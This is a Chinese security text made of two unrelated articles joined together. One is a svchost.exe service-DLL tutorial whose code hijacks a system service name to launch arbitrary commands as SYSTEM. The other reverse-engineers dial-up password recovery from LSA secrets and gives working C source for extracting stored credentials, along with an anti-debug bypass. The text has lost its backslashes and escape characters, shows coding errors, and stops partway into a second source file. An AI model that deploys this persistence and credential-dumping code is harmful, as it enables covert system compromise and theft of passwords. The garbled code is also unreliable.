DLL服务本身只是创建一个进程，该程序命令行就是启动服务时提供的第一个参数，如果未指定就使用缺省的svchostdll.exe。启动服务时如果提供第二个参数，创建的进程就是和桌面交互的。
具体代码参见后边的附例8，源代码和DLL文件请到http://www.binglesite.net/下载。
//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);
//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, ... );
6. 代码使用
C:\>tlist -s
0 System Process
8 System
240 services.exe Svcs: Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe Svcs: RpcSs
1360 svchost.exe Svcs: EventSystem,Netman,RasMan,SENS,TapiSrv
C:\>rundll32 svchostdll.dll,RundllInstall abcd
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
you specify service name not in Svchost\netsvcs, must be one of following:
- EventSystem
- Ias
- Iprip
- Irmon
- Netman
- Nwsapagent
- Rasauto
- Rasman
- Remoteaccess
- SENS
- Sharedaccess
- Tapisrv
- Ntmssvc
- wzcsvc
C:\>rundll32 svchostdll.dll,RundllInstall IPRIP
SvcHostDLL: DllMain called DLL_PROCESS_ATTACH
CreateService(IPRIP) SUCCESS. Config it
Config service IPRIP ok.
C:\>sc start iprip "cmd /k whoami" 1
NT AUTHORITY\SYSTEM
SvcHostDLL: ServiceMain(3, IPRIP) called
SvcHostDLL: RealService called 'cmd /k whoami' Interact
SvcHostDLL: CreateProcess(cmd /k whoami) to 640
C:\>tlist -s
0 System Process
8 System
240 services.exe Svcs: Browser,Dhcp,dmserver,Dnscache,Eventlog,lanmanserver,lanmanworkstation, LmHosts,PlugPlay,ProtectedStorage,TrkWks,Wmi
504 svchost.exe Svcs: RpcSs
640 cmd.exe Title: C:\WINNT\System32\cmd.exe
1360 svchost.exe Svcs: EventSystem,Netman,RasMan,SENS,TapiSrv,IPRIP
C:\>net stop iprip
The IPRIP service was stopped successfully.
C:\>rundll32 svchostdll.dll,RundllUninstall iprip
DeleteService(IPRIP) SUCCESS.
7. 参考
Platform SDK: Tools - Rundll32
1） Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
2） Platform SDK: Tools - Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp
2003/8
8. 代码
// SvcHostDLL.cpp : Demo for a service dll used by svchost.exe to host it.
//
// for detail comment see articles.
// by bingle_at_email.com.cn
// http://www.binglesite.net/
//
/* save following as a .def file to export function, only ServiceMain is needed.
other used to install & uninstall service.
or use /EXPORT: link option to export them.
EXPORTS
ServiceMain
InstallService
UninstallService
RundllUninstallA
RundllInstallA
*/
/*
To compile & link:
cl /MD /GX /LD svchostdll.cpp /link advapi32.lib /DLL /base:0x71000000 /export:ServiceMain /EXPORT:RundllUninstallA /EXPORT:RundllInstallA /EXPORT:InstallService /EXPORT:UninstallService
*/
//
// Articles:
// 1. HOWTO Create a service dll used by svchost.exe by bingle, at: http://www.BingleSite.net/article/svchost-dll-service.html
// 2. Inside Win32 Services, Part 2 by: Mark Russinovich, at: http://www.winnetmag.com/Articles/Index.cfm?ArticleID=8943&pg=3
// 3. Platform SDK: Tools - Rundll32, at: http://msdn.microsoft.com/library/en-us/tools/tools/rundll32.asp
#include <stdio.h>
#include <time.h>
#include <assert.h>
#include <windows.h>
#define DEFAULT_SERVICE "IPRIP"
#define MY_EXECUTE_NAME "SvcHostDLL.exe"
//main service process function
void __stdcall ServiceMain( int argc, wchar_t* argv[] );
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
//service control handler, call back by service control manager
void __stdcall ServiceHandler( DWORD dwCommand );
//RealService just create a process
int RealService(char *cmd, int bInteract);
//Install this dll as a Service host by svchost.exe, service name is given by caller
int InstallService(char *name);
//unInstall a Service, be CARE FOR call this to delete a service
int UninstallService(char *name);
//Install this dll as a Service host by svchost.exe, used by RUNDLL32.EXE to call
void CALLBACK RundllInstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//unInstall a Service used by RUNDLL32.EXE to call, be CARE FOR call this to delete a service
void CALLBACK RundllUninstallA(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow);
//output the debug infor into log file(or stderr if a console program call me) & DbgPrint
void OutputString( char *lpFmt, ... );
//dll module handle used to get dll path in InstallService
HANDLE hDll = NULL;
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDll = hModule;
#ifdef _DEBUG
AllocConsole();
OutputString("SvcHostDLL: DllMain called DLL_PROCESS_ATTACH");
break;
case DLL_THREAD_ATTACH:
OutputString("SvcHostDLL: DllMain called DLL_THREAD_ATTACH");
case DLL_THREAD_DETACH:
OutputString("SvcHostDLL: DllMain called DLL_THREAD_DETACH");
case DLL_PROCESS_DETACH:
TellSCM( SERVICE_STOP_PENDING, 0, 0 );
Sleep(1500);
TellSCM( SERVICE_STOPPED, 0, 0 );
OutputString("SvcHostDLL: DllMain called DLL_PROCESS_DETACH");
#endif
break;
}
return TRUE;
}
void __stdcall ServiceMain( int argc, wchar_t* argv[] )
{
// DebugBreak();
char svcname[256];
strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
wcstombs(svcname, argv[0], sizeof svcname);
OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname);
hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler );
if( hSrv == NULL )
{
OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]);
return;
}else FreeConsole();
TellSCM( SERVICE_START_PENDING, 0, 1 );
TellSCM( SERVICE_RUNNING, 0, 0 );
// call Real Service function noew
if(argc > 1)
strncpy(svcname, (char*)argv[1], sizeof svcname),
wcstombs(svcname, argv[1], sizeof svcname);
RealService(argc > 1 ? svcname : MY_EXECUTE_NAME, argc > 2 ? 1 : 0);
do{
Sleep(10);//not quit until receive stop command, otherwise the service will stop
}while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
OutputString("SvcHostDLL: ServiceMain done");
return;
}
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
SERVICE_STATUS srvStatus;
srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
srvStatus.dwCurrentState = dwCurrState = dwState;
srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
srvStatus.dwWin32ExitCode = dwExitCode;
srvStatus.dwServiceSpecificExitCode = 0;
srvStatus.dwCheckPoint = dwProgress;
srvStatus.dwWaitHint = 3000;
return SetServiceStatus( hSrv, &srvStatus );
}
void __stdcall ServiceHandler( DWORD dwCommand )
{
// not really necessary because the service stops quickly
switch( dwCommand )
{
case SERVICE_CONTROL_STOP:
TellSCM( SERVICE_STOP_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP");
Sleep(10);
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
case SERVICE_CONTROL_PAUSE:
TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE");
TellSCM( SERVICE_PAUSED, 0, 0 );
break;
case SERVICE_CONTROL_CONTINUE:
TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE");
TellSCM( SERVICE_RUNNING, 0, 0 );
break;
case SERVICE_CONTROL_INTERROGATE:
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE");
TellSCM( dwCurrState, 0, 0 );
break;
case SERVICE_CONTROL_SHUTDOWN:
OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN");
TellSCM( SERVICE_STOPPED, 0, 0 );
break;
}
}
//RealService just create a process
int
        RealService(char *cmd, int bInteract)
{
OutputString("SvcHostDLL: RealService called '%s' %s", cmd, bInteract ?
        "Interact" : "");
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if(bInteract) si.lpDesktop = "WinSta0\\Default";
if(!CreateProcess(NULL, cmd, NULL, NULL, false, 0, NULL, NULL, &si,
        &pi))
OutputString("SvcHostDLL:
        CreateProcess(%s) error:%d", cmd, GetLastError());
else
        OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd,
        pi.dwProcessId);
return 0;
}
int InstallService(char *name)
{
// Open a handle to the SC Manager database.
int rc =
        0;
HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0;
SC_HANDLE hscm = NULL, schService = NULL;
try{
char
        buff[500];
char *svcname = DEFAULT_SERVICE;
if(name
        && name[0]) svcname = name;
//query svchost
        setting
char *ptr, *pSvchost = "SOFTWARE\\Microsoft\\Windows
        NT\\CurrentVersion\\Svchost";
rc = RegOpenKeyEx(hkRoot,
        pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
if(ERROR_SUCCESS
        != rc)
{
OutputString("RegOpenKeyEx(%s)
        KEY_QUERY_VALUE error %d.", pSvchost, rc);
throw
        "";
}
DWORD type, size = sizeof buff;
rc =
        RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff,
        &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS !=
        rc)
throw
        "RegQueryValueEx(Svchost\\netsvcs)";
for(ptr = buff; *ptr; ptr
        = strchr(ptr, 0)+1)
if(stricmp(ptr, svcname) == 0)
        break;
if(*ptr == 0)
{
OutputString("you specify service name not in Svchost\\netsvcs, must be
        one of following:");
for(ptr = buff; *ptr; ptr =
        strchr(ptr, 0)+1)
OutputString(" - %s", ptr);
throw "";
}
//install service
hscm = OpenSCManager(NULL, NULL,
        SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
throw "OpenSCManager()";

char *bin = "%SystemRoot%\\System32\\svchost.exe -k
        netsvcs";
schService = CreateService(
hscm,
        // SCManager database
svcname,
        // name of service
NULL,       // service name to display
SERVICE_ALL_ACCESS,     //
        desired access
SERVICE_WIN32_SHARE_PROCESS, //
        service type
SERVICE_AUTO_START,     // start type
SERVICE_ERROR_NORMAL,     //
        error control type
bin,
        // service's binary
NULL,
        // no load ordering group
NULL,
        // no tag identifier
NULL,
        // no dependencies
NULL,
        // LocalSystem account
NULL);
        // no password
if (schService == NULL)
{
OutputString("CreateService(%s) error %d",
        svcname, rc = GetLastError());
throw "";
}
OutputString("CreateService(%s) SUCCESS. Config it",
        svcname);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
//config service
hkRoot =
        HKEY_LOCAL_MACHINE;
strncpy(buff,
        "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
strncat(buff, svcname, 100);
rc = RegOpenKeyEx(hkRoot, buff,
        0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS !=
        rc)
{
OutputString("RegOpenKeyEx(%s)
        KEY_SET_VALUE error %d.", svcname, rc);
throw
        "";
}
rc = RegCreateKey(hkRoot, "Parameters",
        &hkParam);
SetLastError(rc);
if(ERROR_SUCCESS !=
        rc)
throw "RegCreateKey(Parameters)";
if(!GetModuleFileName(HMODULE(hDll), buff, sizeof
        buff))
throw "GetModuleFileName() get dll
        path";
rc = RegSetValueEx(hkParam, "ServiceDll", 0,
        REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1);
SetLastError(rc);
if(ERROR_SUCCESS !=
        rc)
throw "RegSetValueEx(ServiceDll)";
OutputString("Config service %s ok.", svcname);
}catch(char
        *str)
{
if(str &&
        str[0])
{
rc =
        GetLastError();
OutputString("%s error %d", str, rc);
}
}
RegCloseKey(hkRoot);
RegCloseKey(hkParam);
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
return
        rc;
}
/*
used to install by rundll32.exe
Platform SDK: Tools
        - Rundll32
The Run DLL utility (Rundll32.exe) included in Windows
        enables you to call functions exported from a 32-bit DLL. These
        functions must have the following syntax:
*/
void CALLBACK
        RundllInstallA(
HWND hwnd,     // handle to owner
        window
HINSTANCE hinst, // instance handle for the DLL
char
        *param,     // string the DLL will parse
int
        nCmdShow     // show state
)
{
InstallService(param);
}
int UninstallService(char *name)
{
int rc = 0;
SC_HANDLE schService;
SC_HANDLE
        hscm;
__try{
hscm = OpenSCManager(NULL, NULL,
        SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
OutputString("OpenSCManager() error %d", rc =
        GetLastError() );
return rc;
}
char *svcname = DEFAULT_SERVICE;
if(name
        && name[0]) svcname = name;
schService =
        OpenService(hscm, svcname, DELETE);
if (schService == NULL)
{
OutputString("OpenService(%s) error
        %d", svcname, rc = GetLastError() );
return
        rc;
}
if (!DeleteService(schService) )
{
OutputString("OpenService(%s) error %d",
        svcname, rc = GetLastError() );
return
        rc;
}
OutputString("DeleteService(%s) SUCCESS.",
        svcname);
}__except(1)
{
OutputString("Exception Catched 0x%X", GetExceptionCode());
}
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
return rc;
}
/*
used to
        uninstall by rundll32.exe
Platform SDK: Tools - Rundll32
The Run
        DLL utility (Rundll32.exe) included in Windows enables you to call
        functions exported from a 32-bit DLL. These functions must have the
        following syntax:
*/
void CALLBACK RundllUninstallA(
HWND
        hwnd,     // handle to owner window
HINSTANCE
        hinst, // instance handle for the DLL
char
        *param,     // string the DLL will parse
int
        nCmdShow     // show state
)
{
UninstallService(param);
}
//output the debug infor into log file
        & DbgPrint
void OutputString( char *lpFmt, ... )
{
char buff[1024];
va_list   arglist;
va_start( arglist, lpFmt );
_vsnprintf( buff, sizeof buff,
        lpFmt, arglist );
va_end( arglist );
DWORD
        len;
HANDLE herr = GetStdHandle(STD_OUTPUT_HANDLE);
if(herr != INVALID_HANDLE_VALUE)
{
WriteFile(herr, buff, strlen(buff), &len,
        NULL);
WriteFile(herr, "\r\n", 2, &len,
        NULL);
}else
{
FILE *fp =
        fopen("SvcHost.DLL.log", "a");
if(fp)
{
char date[20],
        time[20];
fprintf(fp, "%s
        %s - %s\n", _strdate(date), _strtime(time),
        buff);
if(!stderr)
        fclose(fp);
}
}
OutputDebugString(buff);
}


NT平台拨号连接密码恢复原理

文章作者：eyas
信息来源：安全焦点
前段时间ADSL密码忘记了，但幸好还保存在拨号连接里面，于是到网上找了些星号密码
显示工具，可惜不起作用。后来找到一种名为dialupass的工具，这家伙不负重望把密码给
我还原出来了。(用的dialupass v2.42，我的系统是windows xp)
看起来dialupass非普通的星号密码显示工具，那它的原理是什么呢？上GOOGLE查了
一翻，没找到相关资料（可能是我用的关键字有问题）。 一生气便操起家伙（windbg）
准备把它大卸八块。郁闷的是，用windbg加载后，密码就还原不出来了，显示是星号。换替
补ollydbg上场，情况依旧。莫非这小工具有Anti-Debug功能？当时只是一丝怀疑，因为实
在不相信这样的小工具作者会花心思来保护。
后来在用s-ice跟踪的过程中，发现有这么一个调用：
GetProcAddress(xx, "IsDebugPresent")。

晕倒，原来真的有Anti-Debug功能，好在比较简单。统计了一下，总共有5处进行了
Anti-Debug检查。

情况查明了，便换回windbg来调试，在windbg里面下这么一个断点便可绕过Anti-Debug
检测：
bp KERNEL32!IsDebuggerPresent "g poi(esp);r eax=0;g"
花了些时间跟踪了一下，把dialupass恢复密码的流程都搞清楚了。这小程序猫腻还
挺多的，总结如下：
1. 关键函数不直接调用，而是用LoadLibraryA和GetProcAddress来获取函数地址
后再CALL。
2. 函数名是经过编码的，反汇编后看字符串是看不到的。
3. 关键地方一概用花指令来迷惑你和反汇编软件。

其实原理很简单，就是用rasapi32.dll里面的一些函数来获取拨号连接的一些信息，
再用 ADVAPI32!LsaRetrievePrivateData 函数来获取密码。
根据dialupasss的原理，写了个类似的工具，源代码参见后面的x_dialupass.c。
后来用"LsaRetrievePrivateData"和"RasDialParams"做关键字，重新在GOOGLE搜索了
一遍，找到一些类似的代码。
参考资源[1]和[2]的是俄罗斯人公布的演示代码，没有对LsaRetrievePrivateData返回
的数据进行拆分用户名和密码。参考资源[3]是日本人公布的完整的应用程序的代码，可惜
在对LsaRetrievePrivateData返回的数据进行拆分处理时存在BUG，导致有些情况下用户名
和密码取的不正确。

后来发现lsadump2 DUMP出来的数据里面包含了"LsaRetrievePrivateData"返回的数
据。lsadump2的原理大致如下：
1)插入一线程到lsass.exe进程
2)打开LSA Policy database
3)从注册表"HKLMSECURITYPolicySecrets"中枚举子键
4)LsarOpenSecret
5)LsarQuerySecret
进一步跟踪后发现，其实ADVAPI32!LsaRetrievePrivateData是通过NdrClientCall2
发送RPC调用到lsass.exe进程，lsass.exe里面再调用LsarOpenSecret、LsarQuerySecret
来完成获取拨号连接信息过程的。（注：LsarOpenSecret里面有权限判断，非ADMIN组用
户是没有权限来调用ADVAPI32!LsaRetrievePrivateData的）
跟踪了一下LsarQuerySecret，发现它返回的数据其实是从注册表中读取。保存拨号
连接信息的注册表键值为：
HKLMSECURITYPolicySecretsRasDialParams!SID#0CurrVal
SID对应的是用户的string SID。(“HKLMSECURITY”这个键只有SYSTEM有权限读
写，连admin都没有权限)
LsarQuerySecret从注册表中读取出来数据后，接着调用LsapCrDecryptValue函数来
解密，对于同一台机器来说，解密时用的KEY始终都是固定的，这个KEY在lsasrv.dll里面
变量名为"_LsapDbSecretCipherKey"。在windows 2003里面，变量名不一样，对应的有两
个，分别为"LsapDbSecretCipherKeyWrite"和"LsapDbSecretCipherKeyRead"，但这两个
变量里面的数据是一样的。
LsapCrDecryptValue用的似乎是标准DES算法，解密时主要流程如下：
lsasrv!LsapCrDecryptValue
|_ advapi32!SystemFunction005
|_ advapi32!DecryptDataLength
|_ advapi32!SystemFunction002
|_ advapi32!DES_ECB_LM
|_ advapi32!des
解密后，在"<<"标示处还有一个判断:
.text:785462F0 call _LsapCrDecryptValue@12
.text:785462F5 test eax, eax
.text:785462F7 mov [ebp+var_8], eax
.text:785462FA jl loc_785838E1
.text:78546300
.text:78546300 loc_78546300:
.text:78546300 cmp byte ptr [esi+45h], 0 <<<<<<<<<<<<
.text:78546304 jz short loc_7854632E
......
.text:7854632E loc_7854632E:
.text:7854632E lea eax, [ebp+var_10]
.text:78546331 push eax
.text:78546332 push [ebp+arg_8]
.text:78546335 push [ebp+var_C]
.text:78546338 call _LsapCrEncryptValue@12

假如[esi+45h]为0的话(esi是LsarOpenSecret函数返回的HANDLE)，它会把解密后的
数据再进行一次加密，不管是2000还是2003，这时用的KEY始终都是固定为
“SystemLibraryDTC”。
lsadump2里面调用LsarOpenSecret得到的HANDLE，偏移0x45处值为1，所以
LsarQuerySecret函数返回的就是解密后的数据了。
而在调用ADVAPI32!LsaRetrievePrivateData时，LsarOpenSecret返回的HANDLE偏移
0x45处值为0x0，所以LsarQuerySecret返回的是解密后又加密的数据，所以在
ADVAPI32!LsaRetrievePrivateData里面还有一个对应的解密过程。相应的，
LsapCrEncryptValue加密的主要流程如下：
lsasrv!LsapCrEncryptValue
|_ advapi32!SystemFunction004
|_ advapi32!EncryptDataLength
|_ advapi32!SystemFunction001
|_ advapi32!DES_ECB_LM
|_ advapi32!des

开始我以为在同一版本的windows里面，_LsapDbSecretCipherKey是固定的，后来
发现我错了。那么这个_LsapDbSecretCipherKey是如何产生的？流程如下：
(1)调用ntdll!NtConnectPort打开 L"SecurityWxApiPort"
(2)调用ntdll!NtRequestWaitReplyPort得到一些数据
ebp-40处为NtRequestWaitReplyPort返回的LPCMESSAGE
kd> dd ebp-40
0006fcb8 00400028 00000002 000000dc 000000d8
0006fcc8 00000024 00000000 00000000 00000000
0006fcd8 00000001 00000010 00000010 fd317e3e
0006fce8 7e24e86d d12503d3 5f7d01a8 7665f528
kd> db ebp-14
0006fce4 3e 7e 31 fd 6d e8 24 7e-d3 03 25 d1 a8 01 7d 5f
(3)将上述"ebp-14"处的0x10字节数据COPY到lsasrv.dll里面的"_LsapDbSysKey"变量。
"_LsapDbSysKey"在不同的机器上面（即使版本相同）都是不一样的。它是怎么产生的？有
幸拜读了flashsky的大作后(参考资源[4])，才明白这就是传说中的"SYSKEY"。用flashsky
的代码验证一下：
c:>getsyskey
3e 7e 31 fd 6d e8 24 7e d3 03 25 d1 a8 01 7d 5f
跟踪系统启动过程，可知道"SecurityWxApiPort"是由winlogon.exe进程创建的，然
后lsass进程通过这个LPC PORT从winlogon进程获取SYSKEY，随后winlogon进程会关闭这
个LPC PORT。所以在系统启动完成之后，用"Process Explorer"等工具是看不到这个
LPC PORT存在的，而且在winlogon和LSASS进程空间都搜索不到上述SYSKEY。
(4)从注册表"HKLMSECURITYPolicyPolSecretEncryptionKey"中读取出来一段数据，
调用函数_LsapDbDecryptKeyWithSyskey，把它用"_LsapDbSysKey"来解密，
"_LsapDbSecretCipherKey"就在解密完后的数据里面。（"LsapDbDecryptKeyWithSyskey"函
数做的其实就是MD5和RC4运算）
了解原理后，我们就可以直接从注册表里面来获取拨号连接中的密码等数据了。但
有几个问题需要解决：
(1)原料。
Q:"HKLMSECURITY"键只有SYSTEM有权限读写?
A:我们可以把代码插入到SYSTEM进程里面去运行，或者把这个键修改为ADMIN有
权限读，或者提升本进程权限。
(2)催化剂:)
Q: 如何获取"_LsapDbSysKey"?解密用的函数_LsapDbDecryptKeyWithSyskey为非导出函
数，怎么办？
A1: 用flashsky的代码来获取SYSKEY，利用公开的MD5和RC4库函数来解密。
A2: 直接从lsass.exe进程里面搜索"_LsapDbSecretCipherKey"，它的结构如下，
typedef struct _LSA_BLOB
        {
DWORD cbData;
DWORD cbMaxData;
BYTE* pbData;
} LSA_BLOB;

pbData指向存储KEY的地址，KEY长度固定为0x10字节，即cbData和cbMaxData都是固定
为0x10。所以从lsass进程的空间里面搜索"x10x00x00x00x10x00x00x00"即可找到
正确的KEY。结果可能会有多个，可以把所有搜索到的KEY都试一下，总有一个正确的。
(3)工具
Q: 解密函数LsapCrDecryptValue为非导出函数，怎么办？
A: 或许可以根据特征码来搜索，但总觉得不太可靠。幸好，LsapCrDecryptValue
调用的advapi32!SystemFunction005是导出函数:)。或者直接利用公开的DES库函数，
自己来运算。

x_dialupass2.cpp中的代码演示了直接从注册表中读取数据并解密之的过程，没有
太多实际意义，just for fun!
-=-=-=-=-=-=-=-=-=-= x_dialupass.c -=-=-=-=-=-=-=-=-=-=
/*
演示还原NT平台上拨号连接的密码
可运行于windows 2000/xp/2003
原理基于分析dialupass v2.42
eyas at xfocus.org
[url]http://www.xfocus.net[/url]
2004-10-01

FileName: x_dialupass.c
*/
#define WINVER 0x500
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <stdio.h>
#include <ras.h>
#include <raserror.h>
#include <Ntsecapi.h>
#include <Userenv.h>
#include <Sddl.h>
#pragma comment(lib,"Rasapi32.lib")
#pragma
        comment(lib,"advapi32.lib")
#pragma comment(lib,"UserEnv.lib")
unsigned char private_data[0x500];
int data_len;
unsigned char * get_real_pass(unsigned char *user, DWORD dwDialParamsUID)
{
int i, j;
unsigned char *p, szDialParamsUID[52], *pass=NULL;
_snprintf(szDialParamsUID, sizeof(szDialParamsUID),
"%d", dwDialParamsUID);
p = private_data;
for(i=0;i<data_len;i++)
{
if(strcmp(&p, szDialParamsUID) == 0 )
{
for(j=i;j<data_len;j++)
{
if(strcmp(&p[j], user) == 0 )
{
pass = p + j + strlen(user) + 1;
break;
}
}
break;
}
}
return pass;
}
void main()
{
LPRASENTRYNAME lpRasEntryName;
LPRASDIALPARAMS lpRasDialParams;
DWORD cb, nRet, i, cEntries;
BOOL b;
char szPhoneBook1[512], szPhoneBook2[512],
szUserName[128], szDomainName[128];
DWORD dwSize, dwDialParamsUID, dwTmp;
PSID pSid = NULL;
SID_NAME_USE peUse;
LSA_OBJECT_ATTRIBUTES lsa_object_attr;
LSA_HANDLE lsa_handle;
PLSA_UNICODE_STRING plsa_private_data;
LSA_UNICODE_STRING lsa_keyname;
NTSTATUS status;
int ret;
unsigned char *pass;
WCHAR *sid;
printf("dialup password recover tool for win 2k/xp/2003n"
"code by eyas at xfocus.orgn"
"[url]http://www.xfocus.netn[/url]"
"2004-10-01nn");
    //get current user's string
        sid
dwSize = sizeof(szUserName);
GetUserName(szUserName, &dwSize);
dwSize = 0;
dwTmp =
        sizeof(szDomainName);
LookupAccountName(NULL,
        szUserName, pSid, &dwSize, szDomainName,
&dwTmp, &peUse);
if(!dwSize)
{
printf("[-] LookupAccountName failed.n");
return;
}
pSid =
        (PSID)malloc(dwSize);
LookupAccountName(NULL,
        szUserName, pSid, &dwSize, szDomainName,
&dwTmp, &peUse);
ConvertSidToStringSidW(pSid, &sid);
memset(&lsa_object_attr, 0, sizeof(lsa_object_attr));
lsa_object_attr.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
LsaOpenPolicy(0, &lsa_object_attr, 0x800, &lsa_handle);
    plsa_private_data =
        (PLSA_UNICODE_STRING)malloc(sizeof(LSA_UNICODE_STRING));
plsa_private_data->Length = 0x500;
plsa_private_data->MaximumLength = 0x500;
plsa_private_data->Buffer =
        (PWSTR)malloc(0x500);
    lsa_keyname.MaximumLength =
        0x200;
lsa_keyname.Buffer = (PWSTR)malloc(0x200);
wcscpy(lsa_keyname.Buffer,L"RasDialParams!");
wcscat(lsa_keyname.Buffer, sid);
wcscat(lsa_keyname.Buffer, L"#0");
lsa_keyname.Length = wcslen(lsa_keyname.Buffer) *
        2;
    //get current user's dialup
        info
status = LsaRetrievePrivateData(lsa_handle,
&lsa_keyname,
&plsa_private_data);
LsaClose(lsa_handle);
if(status != 0)
{
printf("[-]
        LsaRetrievePrivateData failed: %dn",
LsaNtStatusToWinError(status));
return;
}
ret =
        WideCharToMultiByte(0, 0, plsa_private_data->Buffer,
plsa_private_data->Length,
private_data,
        sizeof(private_data), 0, 0);
if(ret == 0)
{
printf("[-] WideCharToMultiByte failed:%dn", GetLastError());
return;
}
data_len = ret;
//get phone book name
GetEnvironmentVariable("ALLUSERSPROFILE", szPhoneBook1,
sizeof(szPhoneBook1)-200);
GetEnvironmentVariable("USERPROFILE", szPhoneBook2,
sizeof(szPhoneBook2)-200);
strcat(szPhoneBook1,
"\Application Data\Microsoft\Network"
"\Connections\pbk\rasphone.pbk");
strcat(szPhoneBook2,
"\Application Data\Microsoft\Network"
"\Connections\pbk\rasphone.pbk");
    lpRasEntryName =
        (LPRASENTRYNAME)GlobalAlloc(GPTR, sizeof(RASENTRYNAME));
lpRasEntryName->dwSize = sizeof(RASENTRYNAME);
cb = sizeof(RASENTRYNAME);
if ((nRet = RasEnumEntries(NULL, NULL, lpRasEntryName, &cb,
        &cEntries))
==
        ERROR_BUFFER_TOO_SMALL)
{
lpRasEntryName =
        (LPRASENTRYNAME)GlobalAlloc(GPTR, cb);
lpRasEntryName->dwSize
        = sizeof(RASENTRYNAME);
}
// Calling RasEnumEntries to enumerate the phone-book entries
nRet = RasEnumEntries(NULL, NULL, lpRasEntryName, &cb, &cEntries);
if (nRet != ERROR_SUCCESS)
{
printf("[-] RasEnumEntries failed: Error %dn", nRet);
return;
}
for(i=0;i < cEntries;i++)
{
lpRasDialParams = malloc(sizeof(RASDIALPARAMS));
strcpy(lpRasDialParams->szEntryName, lpRasEntryName->szEntryName);
lpRasDialParams->dwSize = sizeof(RASDIALPARAMS);
RasGetEntryDialParams(0, lpRasDialParams, &b);
dwDialParamsUID = GetPrivateProfileInt(lpRasEntryName->szEntryName,
"DialParamsUID", 0, szPhoneBook1);
if(dwDialParamsUID == 0)
{
dwDialParamsUID = GetPrivateProfileInt(lpRasEntryName->szEntryName,
"DialParamsUID", 0, szPhoneBook2);
if(dwDialParamsUID == 0)
{
printf("[-] Can't get DialParamsUID from PhoneBook.n");
return;
}
}
pass = get_real_pass(lpRasDialParams->szUserName, dwDialParamsUID);
printf(
"-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=n"
"EntryName : %sn"
"UserName : %sn"
"PassWord : %snn",
lpRasEntryName->szEntryName,
lpRasDialParams->szUserName,
pass);
free(lpRasDialParams);
lpRasEntryName++;
}
}
-=-=-=-=-=-=-=-=-=-= code end -=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-= x_dialupass2.cpp
        -=-=-=-=-=-=-=-=-=-=
/*
演示还原NT平台拨号连接密码
原理：直接从注册表中读取加密后的数据，解密之。
可运行于windows 2000/xp/2003平台，必须有权限读取注册表 "HKLMSECURITY"。
eyas at xfocus.org
[url]http://www.xfocus.net[/url]
2004-10-01
*/
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "psapi.lib")
//抄袭tombkeeper的代码:)
